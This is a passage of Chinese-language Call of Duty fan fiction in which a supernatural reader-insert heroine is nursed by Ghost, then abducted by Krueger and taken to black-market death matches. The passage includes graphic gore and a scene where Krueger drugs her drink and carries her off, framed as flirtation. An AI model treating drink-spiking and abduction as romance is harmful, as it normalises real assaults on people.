他一把扣住她的手腕,鲜血立刻从他指缝间溢出,“Are you bloody insensitive or what?!”
(你是没知觉吗?!)
“有感觉啊。”她的声音轻飘飘的,甚至带着点困惑,“很疼。但是睡一觉就好了。”
她怎么会对这么重的伤毫无反应?伤口边缘翻卷着,隐约能看到皮下组织的苍白。
Ghost目光上移,这才看清Y/N脸上交错的泪痕和血迹。
那些眼泪无声地流着,和她平静的表情形成诡异的割裂感,就好像她的身体在哭,而她的灵魂对此一无所知。
“What the
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hell is wrong with you?”他低吼出声,伸手想去拽她,却发现Y/N整条手臂几乎没有完好的地方。
玻璃碎片还在皮肉里,随着动作反光。Ghost的手掌悬在半空,最终狠狠攥住她的衣领,几乎是将她提了起来。
他拖着她大步上楼,鲜血从她垂落的手臂滴落,在楼梯间留下一串暗红的痕迹。
Y/N踉踉跄跄地跟着,却还在嘀咕,“热可可还没找到。”
Ghost猛地刹住脚步,他喘着粗气,舌尖抵住上槽牙,攥着她衣领的关节用力,Bollocks,这人脑子里装的都是什么?
他真该直接把她从二楼窗口扔出去。手臂上的肌肉绷紧又松开,Ghost最终只是粗暴地拽着她继续往前走,声音从面罩里挤出来,“再提一句热可可,我就把你塞进弹药箱埋进训练场。”
Y/N被扯得一个趔趄,脚尖蹭过地面未干的血迹。她抬头时,正好看见Ghost后颈暴起的青筋。像是一条条愤怒的蛇,在领口若隐若现。
Ghost一把将Y/N按在自己房间的木椅上。他转身从床边的抽屉里拽出医疗包,动作突然顿了顿,又拉开另一个抽屉,那里静静躺着一支未拆封的止痛剂。
针筒在冷光下泛着寒芒,男人单膝跪地蹲在她面前,作战裤的布料绷紧。他一把扣住她的手臂,针头刺入皮肤的瞬间,一滴温热的泪砸在他虎口上。
Ghost下意识猛地抬头,却看见Y/N根本没在看他。她的视线直勾勾地,盯着注射器里逐渐减少的液体,另一只还算完好的手正悄悄抬起,指尖就要碰到针管。
“啪!”他反手拍开她。
止痛剂推到底时,能瞥见她睫毛上还挂着泪珠,而她的目光正追随自己每一个动作,那种专注的神情,就像孩童观察蚂蚁搬家。
看样子疼痛感正在逐渐消散。
战术头盔“咔嗒”一声扣在头上。荧光素钠滴在伤口的瞬间,皮肉在淡绿色冷光下纤毫毕现。放大镜片后的玻璃碎渣,最小的不过发丝粗细。
镊尖精准夹住第一块碎片时,Y/N突然“啊”了一声。
Ghost的呼吸骤停,却听见她笑着说,“好像在摘星星。”
该死,她到底把疼痛当什么?
当最后一块玻璃渣落入托盘,发出细碎的声响,Ghost才发现自己后背的衣服已经被汗浸透。而Y/N正试图去够托盘里染血的玻璃碎片。
“别动,老实点。”他一把扣住她的手腕,面罩下的喉结滚动了一下,“还没包扎。”
5. 自娱自乐
而当第二晚凌晨,Ghost盯着Y/N光洁如初的手臂,指节捏得咔咔作响。
那些皮开肉绽的伤口,那些他花了两个小时清理的玻璃渣,那些浸透了三卷绷带的血迹,全他妈消失了。
他真该给自己一巴掌。为那支浪费的特效止痛剂,为那些不必要的消毒步骤,更为了自己昨晚居然像个军医似的,对着那些伤口屏住呼吸小心翼翼。
结果这女人睡一觉就跟蜕了层皮似的,连道疤都没留下。
Y/N坐在床沿晃着腿,月光在她新生的皮肤上流淌。她好奇地戳了戳曾经最深的那个伤口位置,抬头时眼里带着那种令人火大的天真,“你看,我说过的。”
Ghost抬腿走出她的仓库卧室,狠狠关上门,碰撞声惊飞了窗外停驻的乌鸦。
他需要去训练场打烂十个移动靶,或者把Price私藏的雪茄全部碾碎,什么都好,只要能让他在扣动扳机时,别再想起昨晚她睫毛上挂着泪珠的模样。
Price的通讯请求恰好在此时亮起,终端屏上跳动着任务简报的加密符号。
【营救被绑架的俄罗斯化学家,坐标伏尔加格勒废弃化工厂,即刻出发】
来得正是时候,他粗暴地拽过装备包,将止血钳和没用上的缝合针砸进最底层。Soap的脚步声从走廊传来,那家伙永远学不会控制靴跟砸地的力度。
“听说你当了整晚的护士长?”Soap倚在门框上,视线落在Ghost装满医疗废物的垃圾桶。
“闭嘴。”Ghost将装了消音器的MP5甩到背上,枪带勒过作战服时绷出清晰的肌肉轮廓,“五分钟后直升机坪集合。”
伏尔加格勒的寒风总该让人清醒。
直升机掀起的气流中,Soap看着Ghost把安全绳扣得像是要勒断自己肋骨。
Krueger斜倚在黑市酒吧墙角边,劣质威士忌的灼烧感顺着喉管一路烧进胃里。他掀开面罩灌下最后一口酒,玻璃杯重重砸在吧台上。
“141特遣队可是接了个大单子。”隔壁桌的佣兵醉醺醺地比划着数字,“够买下半个街区的那种价码。”
酒保擦着杯子冷笑,“那种级别的任务,得是Price手底下那群影子才啃得动。”
烈酒在血管里烧出一片滚烫。这种高端军事行动从来轮不到他们这些野狗染指,但此刻他满脑子都是一个画面,Ghost全副武装登上直升机的背影,还有被独自留在基地的……
“Unartige Katze。(调皮的小猫)”他低笑出声,指腹抹去下巴上的酒渍。
窗外霓虹灯管忽明忽暗,照亮他掏出的战术平板。屏幕上是昨晚入侵的军事卫星画面,141的直升机正朝伏尔加格勒方向变成一个小黑点。
而基地红外扫描显示,某个房间的热源,正百无聊赖地在地板上画着圆圈。
Krueger的拇指划过屏幕上那团橙色光晕,是时候教教那只军犬,什么叫趁虚而入了。
Y/N捧着马克杯蜷缩在Price的办公椅里,热可可的甜香像暖雾般笼罩着她。杯沿的奶油泡沫沾在她鼻尖上,随着每一次小心的啜饮微微颤动。
这种丝绒般的醇厚感让她想起山林里最柔软的晨雾,却比那更令人沉醉。
Price的雪茄烟圈在天花板上盘旋,他不动声色地看着这个前一秒还吵着要去找Konig的小家伙,此刻正像只餍足的猫崽般眯起眼。
她甚至无意识地,用脚尖勾着转椅打转。或许现在问她Konig是谁,她都不会回答了。
窗外的雨点敲击着防弹玻璃,而Y/N的注意力全在杯底最后那圈巧克力挂壁上。
她伸出舌尖一点点舔掉残液的模样,让Price想起新兵营里第一次摸到枪的毛头小子那种纯粹的,近乎天真的沉迷。
午夜时分的走廊浸在幽蓝的应急灯光里,Y/N整个人趴在Price办公室的门板上,鼻尖几乎抵着门缝。
她确信自己闻到了残留的可可粉香气。当第数次推门失败后,她索性在防弹门前席地而坐。
Y/N心里暗暗期待,晨光的第一缕,必须要照在盛满热可可的杯沿上。
走廊的玻璃窗突然传来刮擦的声响。Krueger像头黑豹般蹲在窗框上,肩线还沾着翻越围墙时的露水。
他晃动的纸杯在月光下蒸腾着热气,“Hi,Katzchen(小猫),你是想要这个吗?”
Y/N的鼻尖抽动,浓郁的甜香瞬间激活了全部神经。她像嗅到猫薄荷的猫般弹起来,冲到窗前,从Krueger手里抢过那杯冒着热气的液体。
“还有吗?”她仰头灌下整杯热可可,嘴角还沾着泡沫。可话音刚落,眼前的Krueger就分裂成万花筒的模样。
膝盖一软,整个人不受控制地向后仰去,Krueger的手臂精准接住那下坠的身体。
他轻松地将她甩到肩上,肌肉绷出流畅的线条,“Schlaf gut, mein Katzchen”(睡个好觉,我的小猫)他低笑着呢喃。
Y/N是在干草垛中睁开眼的,头顶传来规律的削切声,Krueger懒散地倚在树枝间,匕首在苹果皮上流畅游走,果皮垂落的弧度,与他面罩下缘勾起的一致。
“醒啦?”他手腕一抖,削到一半的苹果准确落入她怀中,“这药效在你身上也过得太快了吧。”
果肉才刚刚氧化发黄,显然,她昏迷的时间比预计短得多。
Y/N啃着苹果坐起身,汁水顺着下巴滴在领口,Krueger从三米高的树杈一跃而下。
“想去哪?”他蹲下身时,皮质枪带发出紧绷的吱呀声。
“你平时去哪?”她反问道。
男人低笑起来,面罩上的金属滤网随着笑声微微震动。
他伸手拂去女人发间的草屑,“我平时去的地方,怕你这只小猫适应不了啊。”
黄昏将他的影子拉长,正好笼罩住她全身,“不过,先带你去开开眼。”
入夜后,Krueger扔给她一套备用面罩。黑市角斗场的铁网在他们面前轰然开启,声浪裹着血腥气扑面而来。
他把Y/N按在VIP区的座椅上,这个角度能让他随时瞥见她的动向,“乖乖坐着。”
男人调整着指虎的皮带,场内的探照灯将他影子投在墙壁上,扭曲了形状,“看好了。”
当Krueger一个背摔将对手砸进铁丝网时,飞溅的鲜血在Y/N的面罩上留下几道血痕。
而她正捧了杯不知从哪搞到的热可可,掀起面罩小口啜着,与周围疯狂的赌客形成诡异反差。
Krueger的指节卡在铁丝网格间,新鲜的血迹在金属网上拖出长长的红痕。
面罩下的眼睛像两簇跳动的鬼火,死死锁在Y/N手中的杯子。
“Hey,Mieze。(猫咪)”他的声音沉了下来,带着厮杀后未褪的粗喘,“这里的东西别瞎喝。”
Y/N撇了撇嘴,随手将杯子往旁一抛,玻璃碎裂的声响瞬间被观众的嘶吼淹没,“好吧。”她拖长了音调,“不过这里实在无趣。”
Krueger突然爆发出一阵大笑,他猛地扯开铁网门,金属门划过地面的尖啸让整个场地安静了一瞬。
他一把抹去面罩上黏稠的血浆,朝她勾了勾手指,“你想上场跟我试试吗?Komm,zeig mir deine Krallen。”(来,让我看看你的爪子。)
Y/N站起身,一步步走近,直到呼吸的热气透过网格喷在Krueger的面罩上。
“你确定?”她轻声问道,手抚过铁门,整个角斗场瞬间沸腾,赌客们疯狂地将钞票塞进铁笼。
Krueger低头看着她扣住网门的手指,那上面还沾着热可可的甜腻,与血腥味奇异地交融。
直到Krueger踉跄着后退,脊背重重撞上角斗场的铁笼。他的面罩已经歪斜,露出半边青紫的颧骨。Y/N轻盈地落在不远处,脚尖点地的姿态像极了山涧饮水的鹿。
“你确定?”她歪着头又问了一遍,这次尾音带了些许笑意。天花板的风扇吹起她额前的碎发,露出那双在黑暗里微微发亮的眼睛,那绝不
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是人类该有的瞳色。
Krueger伸手探进面罩,抹了把嘴角的血,咧嘴笑了,“有意思。”
角斗场的探照灯突然全部聚焦到他们身上,将两人的影子拉长到看台最高处。Y/N的指甲不知何时变得锋利,在铁笼上刮出刺耳的声响。
她像只蓄势待发的野兽般压低重心,而Krueger已经摆出了标准的近身格斗起手式。
“ Eine ungezahmteMieze wie dich(像你这样不驯服的小野猫)”他挑衅地勾了勾手指,“die breche ich gerne。(我乐意亲手驯服。)”
话音还未落,Y/N已经化作一道残影扑来。Krueger勉强架住她的肘击,却被随之而来的膝顶撞得五脏六腑都快移了位。
这个角度,他能清晰的看见,她瞳孔收缩成一条细线的全过程。
Krueger的战术靴在地上刮出两道深痕,他再次啐出一口血沫,面罩下的瞳孔剧烈收缩。
Y/N像只山猫般轻盈地跃上角斗场的铁笼顶端。女人倒挂在铁网上,长发垂落,借着重力俯冲而下。
Krueger格挡的双臂传来剧痛,观众席的尖叫声中,他听见自己护腕骨裂的脆响。
最后竟是这女人驮着自己走出了黑市,回到了她醒来时的那棵树下。
Krueger无力地靠在树干上,呼吸间还带着腥气。Y/N跪坐在他面前,将赏金袋里的钞票一张张铺开,夜风卷起几张飘向远处,她却连眼皮都没抬一下。
“Damonenkatzchen(恶魔小猫)”他扯着嘴角,声音沙哑,“你是故意跟我走,想把我杀了吧。”
Y/N抬起头,月光映在她还沾着血的睫毛上,“对不起,忘记这事了。”
下一秒,她突然倾身靠近,Krueger浑身绷紧,以为Y/N终于要给他致命一击。
可当她的唇,落在他青紫的颧骨上时,Krueger瞳孔边缘的红圈都开始晃动。
女人的吻像是一簇温热的火苗,顺着伤口游走,从断裂的肋骨到内脏的瘀伤,每一处触碰,都给他带去难以言喻的颤栗。
那不是疼痛,而是一种近乎灼烧的快感,如实质般的电流顺着她的唇齿,渗入他的血肉,将破碎的骨骼与撕裂的肌肉寸寸修复。
当Y/N退回身时,Krueger猛地低头看向自己的手臂。那些淤血和裂痕消失了,连最细微的擦伤都没留下。
他不可置信地按了按肋骨,原本断裂的地方竟完好如初,仿佛刚刚的厮杀从未发生过。
“你......”他的声音卡在喉咙里,第一次感到词穷。
Y/N歪着头看他,嘴角微微翘起,“现在不疼了吧?”
夜风拂过树梢,沙沙作响。Krueger盯着她,忽然伸手扣住她的后颈,将她拉近。
“Katzchen,”他的气息喷在她唇边,带着未散的血腥味,“你到底是什么东西?”
“不过,你是什么都无所谓。ich mag deinen Geschmack。”(我喜欢你的味道。)
Y/N看着Krueger起身,他走向远处,将被风吹散的钞票一张张拾起。
“你可能不知道,”他将沾着夜露的钱塞进袋,“这个东西对我们来说,非常重要。”
男人的声音很低,像是自言自语,却又恰好能让Y/N听见,赏金袋被扔回她脚边。
Krueger重新靠回树干,从腰间摸出半扁的烟盒,里面最后一支烟,早在角斗场被压碎了。
Y/N眨了眨眼,伸手拨弄着赏金袋的系带。人类对货币的执着让她困惑,但此刻Krueger的眼神也让她有些在意。
她忽然想起山林里受伤的狐狸,也会这样固执地舔舐自己已痊愈的皮毛。
“为什么重要?”她问。
Krueger短促地笑了一声,“因为有了这个。”
他转头看向她,月光在瞳孔里凝成两点寒星,“像你我这样的怪物,才能继续活在阳光底下。”
6. 自娱自乐
Keegan的指尖悬停在档案袋上方,白炽灯将【不要触碰】四个加粗黑体字照得刺眼。
这页被咖啡渍晕染的简报纸边缘已经卷曲,显然被无数人翻阅过却又刻意忽略。
其实他们都看见了。每个经手这份文件的特勤都看见了。
他忽然想起监控录像里的画面,他的指挥官Elias在签署任务书时钢笔在此处停顿的墨渍。
不难想象这群身经百战的男人们,全都默契地略过了这条警告,就像忽略弹药箱上【此面向敌】的标识一样理所当然。
Keegan捏了捏鼻梁骨,叹气。
Elias找到他,最新任务需要摧毁为联合会提供军货的东欧走私网络,并获取其与高层的交易证据。
线人透露,走私头目维克托将在敖德萨港交易一批ODIN卫星武器的备用部件。需要Keegan伪装为一名德裔军火掮客,渗入黑市。
Keegan向来厌恶这类任务。他更愿意执行那些能直接重创联合会根基的行动,而不是在黑市的泥潭里周旋。
那些弯弯绕绕的交易,虚与委蛇的试探,对他来说不过是低效的消耗战。
但Elias坚持这次任务非他不可。“维克托不是普通货色。”
长官的声音在通讯器里冷硬如铁,“他狡猾,多疑,稍有破绽就会消失。我需要一个极端冷静,细节滴水不漏的人。”
Keegan没再反驳。他知道Elias是对的。
入夜,Keegan换好行装,黑色战术服融入夜色,无声登上直升机。
邻国的中转站早已安排妥当,一架私人飞机静候在跑道上,机舱内没有多余的标识,连座椅都是最简化的配置,没有记录,没有痕迹。
Keegan靠在舷窗边,指节轻叩扶手,深绿色的眼眸扫过窗外翻涌的云层。
目的地越来越近。
141这头,Price的雪茄在指间碾出裂痕,监控屏幕的光映在他紧锁的眉头上。
画面定格在Y/N最后出现的走廊,时间戳被篡改,门禁记录被覆盖,连红外热成像都被人动了手脚。
“Fuck!”烟灰砸在地面碎成粉,他盯着Laswell递来的分析报告,后槽牙磨得生疼,“是那条疯狗干的!”
通讯器在掌心转了两圈又被狠狠摁回桌面。Ghost的小队正在莫斯科郊外执行高敏任务,现在发讯号等于把狙击镜的反光直接暴露给敌人。
Price的拇指在键盘上敲出一串加密代码。
西伯利亚的寒风中,Ghost的战术目镜突然闪过一道猩红警示。他左手仍死死拽着俄罗斯化学家的背包带,像拖麻袋似的把人甩向直升机舱门,右手M1911却精准点爆了追兵的头盔。
Soap端着枪,倚在机舱门框边,看着Ghost在近乎发泄般地收割着追兵。
弹壳叮叮当当砸在金属甲板上,他忍不住吹了个口哨,“心情不好就直说, Lt. Fancy Mask。”(面具装逼中尉。)
Ghost的回应是一连串更加暴戾的点射,子弹精准地掀翻了三个敌人的天灵盖。
“You lot are boring. We''re leaving。”(你们太无趣了,我们撤了。)” 他的声音透过面罩传出,带着机械般的冰冷。
最后一个敌人倒地时,Ghost纵身跃上起落架,直升机剧烈倾斜的瞬间,他的指节在通讯器上敲出确认接收的摩斯码。
Soap的笑容僵在脸上。Ghost的脖子正缓慢转动,颈椎发出“咔嗒咔嗒”声。
机舱内的温度仿佛骤降,那种熟悉的,令人窒息的压迫感正从Ghost的每一寸骨骼里渗出。
Soap太熟悉这个动作了,这是Ghost真正暴怒的前兆。
他下意识咽了口唾沫,手指悄悄离开了扳机。现在可不是激怒这头野兽的时候,尤其他们还得护送这个该死的化学家。
Ghost突然静止了。整个机舱陷入死寂,只有螺旋桨的轰鸣在耳边炸响。Soap的呼吸凝滞,Ghost的头正偏向他这边,面具的眼洞后,那双眼睛死死锁定了缩在角落的化学家。
“要把你送到哪。”
“我….我..黑海沿岸的一处废弃工厂。”
Konig站在房间内的角落里,脑袋重重抵在墙上,粗布下传出碎碎念,“Nein, nein…. ScheiBe!Ich bin ein Nichts….”(不,不,艹!我是个废物。”
Phillip站在门外,皮鞋尖不耐烦地敲击着地板。要不是这头野兽确实好用,他早把这玩意扔进回收站了。
“听着,Stutterer(结巴仔)。”他一把推开铁门,任务简报像垃圾般甩到Konig脚边,“这是你证明自己不只是个会发抖的面具的机会。”
konig迟缓地弯腰,纸张上的油墨味钻进鼻腔。
任务代号:绿光收割
目标:从141特遣队(Ghost & Soap)手中夺取俄罗斯化学家 “VK-78”(活体优先,尸体可接受)。
Phillip的皮鞋尖突然碾住他的手指,“那家伙的大脑必须完好。要是非得在他的命和你自己的命之间选?”
鞋跟狠狠一拧“记得死得干净点。”
Phillip懒得去看他,“避免与Ghost正面交火。那骷髅脸闻得出陷阱的味道,比鬣狗还灵敏。”
铁门关上前最后一句飘进来,“搞砸了?我就把你裹着尿布塞回维也纳的疯人院。”
Y/N跨坐在Krueger的摩托车后座,引擎的轰鸣撕裂了废墟间的寂静,排气管喷出的热浪,扭曲了沿途的残垣断壁。
没有头盔,没有护目镜。只有夜风像齿般刮过裸露的皮肤。
女人突然在呼啸的狂风中张开双臂,发绳被气流扯断,乌发在夜色中炸开,与摩托尾灯的红光纠缠成燃烧的星河。
她的脚尖踩上后轮支架,整个人在时速120公里的飞驰向后仰去,腰腹绷出惊心动魄的弧度,如同拉满的弓弦。
只要Krueger一个急刹就会把她甩进死亡怀抱。
但Y/N的指尖正在划过沿途炸裂的夜风,那些气流在她指缝间凝结成具象化的银线。
Krueger从后视镜里看见她,像朵在枪管上绽放的恶之花,每一寸舒展的肢体都带着致命的美感。
他的心脏重重撞向肋骨,如同被子弹击中的防弹钢板,砰砰作响,血液在耳膜里轰鸣。
他故意猛打方向,让摩托车碾过一片碎玻璃。车身剧烈颠簸的瞬间,Krueger的左手突然松开油门,向后精准扣住Y/N的腰,既像是要把她拽回来,又像是要亲手把她推下深渊。
Y/N感受到腰间的力道,却反而笑了。她猛地一个挺身,借着Krueger的拉力翻回座位,湿热的呼吸直接喷在他的耳后,“怎么了?我不会摔死。”
Krueger的指节在油门上收紧,摩托车发出垂死野兽般的嘶吼。他透过面罩的缝隙看向她,眼睛里跳动着比尾焰更危险的光。
“要死也得死在我手里。”他猛地加速,让她撞上自己的后背。前方是断裂的道路,露出五米宽的断崖,但Krueger丝毫没有减速的意思。
“抱紧,Katzchen(小猫),我们要飞了。”
Konig曾在参与联合行动时偷偷植入过141的后门,通过直升机上加密频道,Ghost和Soap的对话像刀片般剐着他的神经。
“PMC的人干的?是那只疯狗?还是那个怪胎?”
Soap的声音带着高频电流杂音,却掩盖不住话里的焦躁。
他们甚至不用名字。疯狗指Krueger,怪胎指的是,他抠进墙面的指甲缝里渗出血丝。
“不是那大个子,他不会做这种事。”
Konig的手在监听设备上一颤。他曾躲在联合军演的狙击点后,整整三天观察Ghost的作战轨迹。那个男人拆解□□的手法像在弹奏钢琴,连杀人时的呼吸频率都精准如机械。
“Shit,难道那个Leatherface(皮革脸)把她带走是想直接卖给黑市?他本来就是疯子,谁知道他会做出什么!”
Soap的声音里带着压抑的怒意,而Ghost的沉默比任何回答都更令人窒息。
Konig的瞳孔在粗布面罩下骤然扩张,他们说的“她”,难道是Y/N?这个念头像一颗子弹击中他的大脑,震得他耳膜嗡嗡响。
他原以为Y/N早就被141特遣队押送给雇主,成为某个实验室里的标本。可现在看来,她不仅没被交出去,反而落入了Krueger手里?
或许,他喃喃自语,“Wenn ich Krueger tote... werde ich dann endlich erwachsen?”(如果我杀了Krueger是否能真正成个大人?)
Ke
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egan来到敖德萨的地下冷库。
这座钢铁屠宰场的制冷系统仍在运作,白雾从天花板管道嘶嘶喷出,给角斗场蒙上病态的霜气。
观众们坐在由冷藏车厢拆解的座位上,手里终端机的光映着他们亢奋扭曲的面容。下注成功的提示音与刀刃入肉的闷响此起彼伏。
而维克多就喜欢在这种场合谈生意。血腥,暴力,亢奋,这些要素就像他手中的雪茄和伏特加一样不可或缺。
或许在他看来,只有在生死边缘仍能保持清醒的人,才配成为他的合作伙伴。
Keegan面不改色地穿过血槽,靴底碾过黏腻的血浆和碎骨。生锈的肉钩上挂着半小时前刚咽气的败者,铁链还在滴答摇晃。
VIP区域就在血槽尽头,维克多正倚在那张铺着染血北极熊毛皮的王座上,指间夹着雪茄,连烟雾的缭绕都是红色。
维克多看向站定在他面前的男人,目光平静,仿佛周围的血腥狂欢不过是背景杂音。
“你就是Klaus?”维克多的指尖在雪茄上轻轻敲击,烟灰簌簌落在对方锃亮的牛津鞋上。
“是的。”Keegan的应答简短得像颗子弹。
他故意将右脸转向灯光,露出那道精心伪造的疤痕。无框眼镜的蓝光镀膜后,虹膜颜色也被巧妙改变成棕色。
整张脸除了骨骼的弧度之外,剩下的可是耗费了他在飞机上的全部时间。
维克多抬手示意保镖搬来一张真皮座椅,皮质上还沾着未干的血迹,这是他对贵客的特殊礼遇。
维克多眯起眼,细细打量着眼前这个自称Klaus的男人。
Zegna西装袖口残留的火箭燃料渍,指节处的防滑涂层磨损痕迹。这些细节完美符合情报显示的身份。“黑森林安保公司”的首席采购官,专精太空黑科技的掮客。
但真正让维克多满意的,是档案里那个肮脏小秘密。三年前这位Klaus,伪造了国际刑警红色通缉令,就为走私一套被盯上的惯性导航系统。
这种胆大包天的作风,正是他最欣赏的“商业品格”。
维克多咧开嘴露出金牙,抬手打了个响指,“先让我们来欣赏一场精彩的表演吧。Fleischmeister(肉匠大师)这名字不知Klaus先生听过没?”
没等回答又自顾自地笑起来,“不过没听过也没关系,他来了。”
角斗场的铁闸门轰然升起,走出来的男人像具行走的战争残骸。
撕裂的防弹背心勉强挂在身上,裸露的胸膛布满放射性裂纹状的刺青,右臂上密密麻麻的刻痕,像某种变态的计数方式。
似乎对这男人而言,仇恨比血液更滚烫,而皮肤只是仇恨的扉页。
Krueger的高压水枪将对手冲撞在血槽边缘,水流在防滑铁栅上溅起猩红浪花。他随手甩开水管,生锈的屠宰工具叮叮当当砸在血泊里。
电锯给顽固者,钩肉叉赏逃跑者,屠宰刀留给有骨气的蠢货,这本该是场完美的处刑表演。
Y/N坐在Krueger特意为她挑选的位置,正对屠宰场的黄金视角。当第一个对手被绞肉机吞掉手掌时,她突然皱起眉。
不是恐惧,不是恶心,而是纯粹的不喜欢。
她不喜欢这种单方面的碾压。在山林里,即便是最凶残的掠食者也不会玩弄食物到这种地步。
捕食是生存,虐杀是病态。她享受的是生死博弈间那种令人战栗的平衡感。
Y/N起身的瞬间,Keegan的视线精准地锁定住她,这个在VIP区突然站立的剪影,与周遭癫狂的观众形成锋利对比。
但更惊人的是场上Krueger的反应。
当Y/N转身时,他正将电锯抵在对手肋骨间,却在那一秒像被按了暂停键。砍刀劈进他肩膀的闷响惊醒了他,鲜血喷溅在面罩上时,他的瞳孔骤然震颤。
下一秒,整个角斗场的节奏被暴力重置。
Krueger的杀人艺术突然失去所有观赏性,电锯直接捅穿对手咽喉,钩肉叉精准刺进第二个挑战者的眼球。
没有折磨,没有表演,只有专业到冷酷的效率。观众席的欢呼卡在喉咙里,化作困惑的窃窃私语。
“Блядь!”维克多砸碎的酒杯嵌进北极熊毛皮,“这他妈算什么?我花钱不是来吃素食的!”
“维克多先生,我需要回个电话,稍等再见。”维克多这时烦躁得不行,朝Keegan挥挥手。
Keegan大步朝女人离开的方向走去。
7. 自娱自乐
Konig无声地跟在Ghost和Soap身后,当抵达黑海沿岸一处荒废的港口。锈蚀的起重机残骸在海风中发出不祥的动静,就在这时,他们的通讯器同时亮起。
“任务更新,”Price沉稳的声音从耳机中传来,“141特遣队将与暗影协同行动。最新情报显示,马卡洛夫的人正在追捕那位俄罗斯化学家。”
无线电中传来纸张翻动的沙沙声,“那疯子正在把ODIN的钨棒残骸改造成辐射武器。而我们的科学家朋友,恰好掌握着将那些太空垃圾变成死亡气溶胶的技术。”
Price顿了顿,声音变得更加严肃,“暗影部队原本计划单独执行这次任务拦截化学家,但马卡洛夫的突然介入打乱了计划。Konig应该就在你们附近。”
通讯刚断,Ghost的护目镜后闪过一丝警觉。他缓缓抬起手,示意队友停下,“出来吧,Stray(流浪狗)。”
废弃仓库内,铁皮屋顶漏下的月亮,在水泥地上切出光痕。
Ghost非常烦躁,任务明明已经接近尾声,他本该立刻揪住一个豺狼的杂碎,撬开那家伙的嘴问出Krueger下落,天知道那个女人现在在哪。
他蹲在仓库的阴影里,机械地拆卸着枪机。每一次零件的咔嗒声都在提醒他,时间正在流逝,而猎物随时可能溜走。
那位化学家被Soap按在铁桶篝火旁坐下,Soap用牙撕开压缩饼干的包装袋,“听着博士,现在最大的问题是,怎么让您穿过二十公里敌占区。马卡洛夫的狙击手可比海鸥盯鱼群还勤快。”
那化学家开口,“或,或许,我们可以掩饰身份?”
“是啊,先生。您说的容易,这鸟不拉屎的地方,我们假扮什么身份?假扮这废弃工厂的丧尸工人?”
Ghost的鼻腔里挤出一声冷哼。Konig从角落里缓慢挪出,像是混凝土墙面剥落的人形剪影。
“我.….我...知,知道附近...有...有个”
他的手指不断抓挠左臂护甲,想起Phillip Graves的“恐怖教育”。
“This is what happens when you miss a shot,puppy。”(这就你失手的代价,小狗)
Phillip当时用枪管拍打他的颧骨,逼他看完循环播放的录像,剥皮刀划过战俘锁骨的特写,血浆在镜头前凝结成棕红湖泊。
黑海的浪涌拍打着生锈的码头钢筋。Konig眼里却覆着一层滤镜,那不是正常的海水色,是排水沟里漫出的血海。是Phillip往他伤口上浇的辣椒酱,是暗影部队“惩戒室”墙缝里永远擦不干净的人形污渍。
Ghost斜眼瞥向Konig,又冷眼扫过化学家苍白的脸,“先生,瞧瞧,连我们的Stray(流浪狗)都比您派得上用场。”
Konig听见Ghost说自己有用,突然绷直了背脊。他结巴着指向东北方,“在那.….那个地方,但….但需要男俘虏...”
他的手揪住战术背心,“要...要当场放血…..填满门前的量杯...”
Soap一脚踢翻空弹药箱,“那是什么鬼地方?早知道就该留几个追兵的活口。”
Ghost却慢条斯理地给弹匣压满子弹,金属碰撞声像在打拍子,“急什么。”
他咔嗒一声推上枪栓,“马卡洛夫的走狗,不是正往枪口上撞?”
Keegan推开地下冷库厚重的金属门,视线瞬间被最高处集装箱上的女人攫住。
Y/N戴着与Krueger如出一辙的面罩,正懒散地后仰着身子,双腿悬空随意晃荡,像个百般无聊的孩子般环顾四周。
Keegan站在原地纹丝不动,他沉默注视着,仿佛这里只剩下这个危险又随性的身影。
集装箱上的人似乎感应到什么,突然前倾身子,整个人悬在边缘。Keegan喉头发紧,正要出声警告,她却已纵身跃下。
面罩在坠落中掀飞,发丝全数散开。Keegan瞳孔骤缩,这个高度,即便他能接住,冲击力也足以让两人重伤。但身体比思维更快,他已箭步冲上前去。
却见Y/N在半空灵巧翻转,鞋尖轻点地面,像片羽毛般落在他触手可及之处。
在飘散的尘埃中,她微微偏头,面罩下的声音听不出情绪,“我刚才在里面看见你了。你喜欢那儿?”
“不。”
Y/N用鞋尖碾着地面,碎石发出细碎声响,“嗯,我也不。”她漫不经心地附和。
Keegan的目光始终追随着她,“你为什么会在这儿?”
“有人带我出来找乐子。”她扯开面罩往身后一扔,转身就要离开,“哪有趣我就去哪儿,不过这里无聊透了。”
就在她迈步的瞬间,Keegan问道,“你有什么计划吗?”
女人顿住脚步,回头时乌黑的长发被风吹地扬起,“计划,什么算计划?”
这是Keegan第一次如此近距离地看清她,眼前的人美得近乎失真。
像是北欧神话里用极光编织的精灵,偏偏眼尾那抹上扬的弧度,又带着东方水墨的韵味。
月光在她瓷白的肌肤上流淌,让人甚至分不清,那层莹润的光泽究竟是真实存在,还是美到极致产生的幻觉。
维克多的声音突然从背后传来,“Klaus先生,原来您在这里啊。我们换个地方聊吧,今天这场表演实在不尽兴。”
Keegan的眉骨下沉,他侧身故意用肩膀挡住维克多半个视线,但这个动作反而激起了对方的好奇。
“Ой, мать-перемать!(老天奶啊)”维克多突然瞪大眼睛,“Вы какангелсошёлс иконы!(您像从圣像画中走下的天使)”
他推开Keegan,西装上沾染的血腥味随着动作弥散开来。
“Девушка,可有荣幸认识一下您吗?”他的音调带着刻意修饰过的优雅,却掩不住眼底翻涌的贪婪。
Y/N的眼在两人之间游移,他们都穿着考究的西装,都刚从那个血肉横飞的地方出来,但后来者身上有股她不喜的气息。
她没搭理,头也不回地转身离去,维克多耸了耸肩,手臂自然地搭上Keegan的肩膀,“看来这位小姐不赏脸啊。Klaus先生,不如我们移步到我的车上详谈?”
Keegan敏锐地捕捉到,维克多对身后保镖的微妙示意。他微微欠身,指尖不着痕迹地整理着西装袖口,“恐怕今天要失礼了,维克多先生。公司刚发来紧急联络,需要我立即回去处理。”
他的声音带着恰到好处的歉意,眼角的余光却始终追随着那两个消失在港口薄雾中的保镖身影。
事实上,Keegan从一开始就没打算在初次会面时与维克多深谈。建立信任就像在结冰的湖面谨慎前行,每一次落脚都要试探冰层的厚度。
维克多漫不经心地摆了摆手。今日的屠宰场不仅毫无乐趣可言,还平白浪费了他大把时间和金钱。此刻他唯一期待的,就是保镖能将那个女人带到自己面前。
那样完美的皮囊,定能成就他最惊艳的艺术品。他忍不住想象,在那层美丽的表皮之下,她的内脏是否也同样令人着迷?
而Y/N正沿海堤边缘走着,双臂展开像走钢丝的艺人那样,脚尖踏在每一块凸起的铆钉上。
月亮将她身后拉出细长的影子,忽然她侧头看向暗处,“你跟着我干嘛?”
Keegan从集装箱的阴
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影中现身,他换了一身黑色的连帽衫,戴着面罩和冷帽。
